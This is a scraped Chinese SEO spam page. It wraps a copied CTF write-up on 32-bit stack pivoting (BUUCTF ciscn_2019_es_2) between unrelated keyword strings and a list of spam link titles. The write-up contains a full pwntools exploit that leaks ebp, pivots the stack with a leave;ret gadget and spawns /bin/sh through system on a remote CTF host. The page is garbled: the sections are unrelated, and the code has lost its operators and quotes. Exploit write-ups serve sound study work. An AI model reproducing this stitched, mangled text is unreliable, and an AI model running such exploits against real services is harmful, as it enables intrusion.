当前位置: 首页 > news >正文

问答网站建设找外贸客户的网站

问答网站建设,找外贸客户的网站,易企网站建设,广告视频网站第一道栈迁移题目#xff0c;跌跌撞撞理解了 前言 当前溢出可用空间比较少时#xff08;极端情况下仅能覆写ebp和ret#xff09;#xff0c;可以通过栈迁移的方式#xff0c;扩大shellcode的容纳空间#xff0c;其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋… 第一道栈迁移题目跌跌撞撞理解了 前言 当前溢出可用空间比较少时极端情况下仅能覆写ebp和ret可以通过栈迁移的方式扩大shellcode的容纳空间其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值所以总是通过两次leave;ret的方式修改esp到固定位置。 一、代码审计 有两次读入操作。read进的内容超过字符串的长度存在栈溢出漏洞。然而计算溢出长度发现只有8字节即刚好可以覆写ebp和ret。 发现system的函数意味着plt对应的表项存在然而这个hack函数并不能给出flag。是个tricky。 二、思路与过程 这里采用栈迁移的方式拓展可构造rop链的空间。 思路是这样的修改esp为新一处地址→前提需要修改ebp为劫持目标地址ebp给esp赋值→这意味着要知道泄露栈地址。因此 具体操作可看这个大神的blog[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客 泄露ebpmain_ebp地址 —— 通过第一个read实现计算劫持目标地址修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现 三、EXP  from pwn import * from pwn import u32,p32context.log_leveldebugioprocess(./pwn) ioremote(node4.buuoj.cn,26158) # context.terminal [tmux,splitw,-h] # gdb.attach(proc.pidof(io)[0],gdbscriptb main)elfELF(./pwn) call_system0x8048559 #这里没用system_plt的地址而是用了call _system的地址意味着参数紧跟该地址之后不需要空四个字节 leave_ret0x80484b8 #修改ebp以及ret然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp payloadba*0x27bb io.recvuntil(bname?\n) io.send(payload) # main_ebpu32(io.recvuntil(b\xf7)[-4:]) io.recvuntil(baaab) main_ebpu32(io.recv(4)) print(hex(main_ebp)) io.recv()#②第二次read则是为了在栈上填充信息修改ebp和ret后esp将迁移 # payload(bthisp32(call_system)bthatb/bin/sh\x00).ljust(0x28,ba) # 上面的payload用于本地调试时找到偏移量0x38和0x28 payload(bthisp32(call_system)p32(main_ebp-0x2c)b/bin/sh\x00).ljust(0x28,ba) #call _system,参数紧跟其后无需空开一个字长 payloadp32(main_ebp-0x38) payloadp32(leave_ret) io.sendline(payload)io.interactive() 总结 接触到高级一些的栈溢出内容需要多做题予以巩固。
http://www.dnsts.com.cn/news/64492.html

相关文章:

  • 和wordpress类似博客网站seo
  • 网站速度打开慢的原因杭州开发公司
  • 阿里云网站开发工具阿里云 外贸网站
  • 有没有免费装修设计的网站做网站app是什么h行业
  • 飞凡网站建设做的网站一定要收录么
  • 湖南网站营销seo方案sem管理工具
  • 北京网站空间企查查官网查询
  • 网站做一年了没做301网站建设咨询电话
  • 搭建网站钱餐饮服务案例100例
  • 深圳航空公司官方网站招聘河北石家庄旅游网页设计
  • 永久免费的网站哪个好班级网站页面设计
  • 网站建设市场WordPress接入Google
  • 企业网站的建设目的有什么php网站留言板是怎么做的
  • 网站建设费用估计wordpress 3.5下载
  • 网站优化外包推荐打开网站总显示建设中
  • 网站版建设系统开发是做什么的
  • 黑龙江网站建设wordpress编辑器存内容
  • 做外卖网站的模板美容院网站源码
  • ASP动态商业网站建设案例招聘网站套餐
  • 企业网站建设北京公司排名网站开发 百度编辑器
  • 网站标题关键词长度给客户做网站 赚钱吗
  • 阿里巴巴怎么做网站wordpress打开速度很慢
  • 广州专业做网站的公司二手车 东莞网站建设
  • 六安网站关键词排名优化报价网站如何做点击链接地址
  • 网站做下载word如何评判一个网站建设的怎么样
  • 网站部分链接做301跳转建筑工程类网站
  • 网站标题应怎设置国家免费编程平台
  • 企业网站的视频页如何做网站开发开题报告计划进度安排
  • 韶关做网站公司wordpress分页分类导航插件
  • 关于建设 网站的请示惠州房地产网站开发